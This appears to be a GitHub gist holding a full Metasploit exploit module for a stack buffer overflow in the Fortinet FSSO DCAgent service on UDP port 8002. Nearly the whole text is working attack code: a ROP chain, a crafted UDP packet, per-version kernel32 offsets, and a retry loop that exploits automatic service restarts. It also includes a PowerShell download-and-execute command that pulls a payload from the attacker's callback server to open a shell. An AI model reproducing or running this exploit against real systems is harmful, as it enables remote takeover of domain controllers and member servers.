Created
March 29, 2015 20:23
-
-
Save phikshun/335e04277170ccb70630 to your computer and use it in GitHub Desktop.
Fortinet FSSO DCAgent Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'msf/core' | |
require 'msf/core/exploit/powershell' | |
class Metasploit3 < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpServer | |
include Msf::Exploit::Remote::Udp | |
include Msf::Exploit::Powershell | |
def initialize(info = {}) | |
super(update_info(info, { | |
'Name' => 'Fortinet FSSO DCAgent Protocol Buffer Overflow', | |
'Description' => %q{ | |
This module exploits a stack buffer overflow on the Fortinet FSSO Agent using | |
the DCAgent protocol. This protocol is accessible over UDP port 8002. This | |
agent often runs with administrative privileges on a domain controller or | |
member server. | |
Tested with versions 4.3.0124 through 4.3.0143 running on Windows Server 2008 | |
R2 SP1 and Windows Server 2012 R2. | |
If the version of Windows being targeted is not on the kernel32_versions list, | |
you can calculate the offset manually. Use pedump (Ruby gem) to export the | |
address of WinExec and GetTimeZoneInformation, then take the WinExec address | |
and subtract the address of GetTimeZoneInformation. Finally, perform a binary | |
1s compliment. This is the "magic value" (delta) that should be used in the | |
ROP chain. Note that if the result contains 0x00 of 0x2f bytes, you're out of | |
luck -- it won't work. | |
The service will automatically restarts if it crashes, so you get as many tries | |
as you need to get a shell. By default, it tries all known versions. Use the | |
KERNE32_VER parameter to limit the search options. | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => [ 'phikshun' ], | |
'Platform' => 'win', | |
'Targets' => | |
[ | |
[ 'Automatic', { 'Arch' => ARCH_X86 } ] | |
], | |
'DefaultTarget' => 0, | |
'DisclosureDate' => 'Mar 29 2015' | |
})) | |
register_options( | |
[ | |
Opt::RPORT(8002), | |
OptString.new('URIPATH', [false, 'Callback URL', '/p']) | |
], self.class | |
) | |
register_advanced_options( | |
[ | |
OptString.new('PSH_URL', [false, 'Alternate URL to use for powershell download']), | |
OptString.new('DOMAIN', [false, 'Valid Windows domain', '.']), | |
OptString.new('USER', [false, 'Valid Windows user', 'guest']), | |
OptString.new('KERNEL32_VER', [false, 'SysWow64/kernel32.dll version']) | |
], self.class | |
) | |
end | |
def on_request_uri(cli, request) | |
print_status("Delivering Payload") | |
psh = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) | |
send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' }) | |
end | |
def send_exploit(url, delta) | |
# 0x00 and 0x2f are badchars | |
rop_gadgets = | |
[ | |
# nopsled | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
# esi = get ptr to winexec | |
0x1003800f, # POP EBP # RETN | |
0xffffffff, # -1 | |
0x100274a8, # XOR EAX,EAX # RETN | |
0x10037fe4, # MUL ECX # RETN 0x10 | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10033d87, # POP EAX # RETN [SSLEAY32.dll] | |
0x100390e8, # SSLEAY32.dll - IAT 0x100390e8 : kernel32.GetTimeZoneInformation | |
0x100297f4, # ADD EDX,DWORD PTR DS:[EAX] # RETN | |
0x10033d87, # POP EAX # RETN [SSLEAY32.dll] | |
delta, # 2's compliment of (&WinExec - &GetTimeZoneInformation) | |
0x10012d62, # NEG EAX # RETN | |
0x100104c3, # LEA EBX,DWORD PTR DS:[EAX] # ADD EAX,C0331001 # RETN | |
0x10037ffe, # ADD EDX,EBX # POP EBX # RETN 0x10 | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
0x10033d87, # POP EAX # RETN [SSLEAY32.dll] | |
0x10045020, # random writeable address | |
0x10012a36, # LEA ESI,DWORD PTR DS:[EDX+EBP+1] # ADC BYTE PTR DS:[EAX+30],BH # RETN | |
# edi = rop nop | |
0x10020d83, # POP EDI # RETN [SSLEAY32.dll] | |
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] | |
# go! | |
0x10022e04, # PUSHAD # RETN [SSLEAY32.dll] | |
].flatten.pack("V*") | |
# winexec payload | |
cmd = "powershell -c IEX(new-object net.webclient).downloadstring(('#{url}'-replace'!',[char]47))#" | |
payload = rop_gadgets + cmd | |
# main packet string payload | |
buf = payload + 'A' * (236 - payload.length) + # payload + padding | |
[0x1001fef9].pack('V') * 2 + # 2nd stack pivot | |
[0x10020d84].pack('V') * 6 + # rop nopsled | |
[0x1001c543].pack('V') * 2 + # 1st stack pivot | |
[0x10020d84].pack('V') * 41 + # rop nopsled | |
"/#{datastore['DOMAIN']}/#{datastore['USER']}" # must be valid domain and user | |
# udp data payload | |
pkt = "\x01\xFCR^\f\xA3\xC0\xA8\xEF2\x01/" + buf + | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x80\x00" + | |
"\x00\x14\x00\x00\x00\x01\x00\x00\x00\x01\x13\x89\x14P" | |
pkt[2..5] = [Time.now.to_i].pack('N') # update timestamp | |
pkt[0..1] = [pkt.length].pack('n') # update packet length | |
pkt[10..11] = [buf.length].pack('n') # update tlv length | |
hello = "\x00\x26\x52\x5d\xa3\x87\xff\xff\xff\xff\x00\x19\x77\x69\x6e\x32\x6b\x33\x2f" + | |
"\x4b\x45\x45\x50\x41\x4c\x49\x56\x45\x2f\x34\x2e\x33\x2e\x30\x31\x32\x39\x00" | |
hello[2..5] = [Time.now.to_i].pack('N') # update timestamp | |
connect_udp | |
[hello, hello, hello, pkt, pkt].each do |data| | |
udp_sock.put data | |
Rex::ThreadSafe.sleep(0.2) | |
end | |
disconnect_udp | |
end | |
def get_callback_url | |
url = (datastore['SSL'] ? 'https://' : 'http://') | |
url += (datastore['PSH_URL'] || datastore['LHOST'] || datastore['SRVHOST']) | |
url += ((datastore['SRVPORT'] == 80 && !datastore['SSL']) || | |
(datastore['SRVPORT'] == 443 && datastore['SSL']) ? '' : ":#{datastore['SRVPORT']}" ) | |
url += datastore['URIPATH'] | |
end | |
def exploit | |
url = get_callback_url | |
if url.length > 27 | |
print_error "URL is too long - 27 characters maximum" | |
return | |
end | |
if url.include? '0.0.0.0' | |
print_error "URL contains 0.0.0.0 - not a valid callback IP" | |
return | |
end | |
print_status("#{rhost}:#{rport} - Starting up web callback on #{url}") | |
start_service({'Uri' => { | |
'Proc' => Proc.new { |cli, req| | |
on_request_uri(cli, req) | |
}, | |
'Path' => datastore['URIPATH'] | |
}}) | |
kernel32_versions = { | |
# manually generated | |
'6.3.9600.17415_en' => 0xfffd6150, | |
'6.3.9600.17056_en' => 0xFFFDA633, | |
'6.3.9600.17031_en' => 0xFFFDA674, | |
# auto-generated | |
'6.1.7601.22653_en.a' => 0xfff81491, | |
'6.1.7601.21772_en.a' => 0xfff819d1, | |
'6.1.7601.18409_en.a' => 0xfff81631, | |
'6.1.7601.18229_en.a' => 0xfff819a9, | |
'6.1.7601.18015_en.a' => 0xfff819b1, | |
'6.1.7601.17651_en.a' => 0xfff81a09, | |
'6.1.7601.17514_en.a' => 0xfff81a39, | |
'6.1.7600.16385_en.b' => 0xfff891db, | |
'6.1.7600.16385_en.a' => 0xfffafef3, | |
'6.0.6002.22988_en.a' => 0xfff939ac, | |
'6.0.6002.22942_en.a' => 0xfff939c4, | |
'6.0.6002.22625_en.a' => 0xfff92b64, | |
'6.0.6002.19034_en.a' => 0xfff9bdd4, | |
'6.0.6002.18740_en.a' => 0xfff927e4, | |
'6.0.6002.18704_en.a' => 0xfff9280c, | |
'6.0.6002.18449_en.a' => 0xfff913ac, | |
'6.0.6002.18005_en.a' => 0xfffaaac0, | |
'6.0.6002.18005_en.b' => 0xfff931c4, | |
'6.0.6001.22898_en.a' => 0xfff8f35c, | |
'6.0.6001.22376_en.a' => 0xfffab7b4, | |
'6.0.6001.18631_en.a' => 0xfff93f84, | |
'6.0.6001.18215_en.b' => 0xfff93fc4, | |
'6.0.6001.18215_en.a' => 0xfffac110, | |
'6.0.6001.18000_en.a' => 0xfffac228, | |
'6.0.6001.18000_en.b' => 0xfff9345c, | |
'5.2.3790.5295_en.b' => 0xfffba135, | |
'5.2.3790.5295_en.a' => 0xfffd0505, | |
'5.2.3790.5069_en.a' => 0xfffbb93c, | |
'5.2.3790.4480_en.c' => 0xfffba884, | |
'5.2.3790.4480_en.a' => 0xfffbba2c, | |
'5.2.3790.4062_en.a' => 0xfffbbb64, | |
'5.2.3790.3959_es.a' => 0xfffbbb5c | |
} | |
handler | |
kernel32_versions.each_pair do |version, delta| | |
if !datastore['KERNEL32_VER'] || version.include?(datastore['KERNEL32_VER']) | |
print_status "#{rhost}:#{rport} - Trying kernel32.dll version #{version} with delta 0x#{"%08x" % delta}" | |
send_exploit(url.gsub('/', '!'), delta) | |
print_status "Waiting 10 seconds for service to respawn" | |
Rex::ThreadSafe.sleep(10) | |
break if session_created? | |
else | |
print_status "Skipping kernel32.dll version #{version} (not matched)" | |
end | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment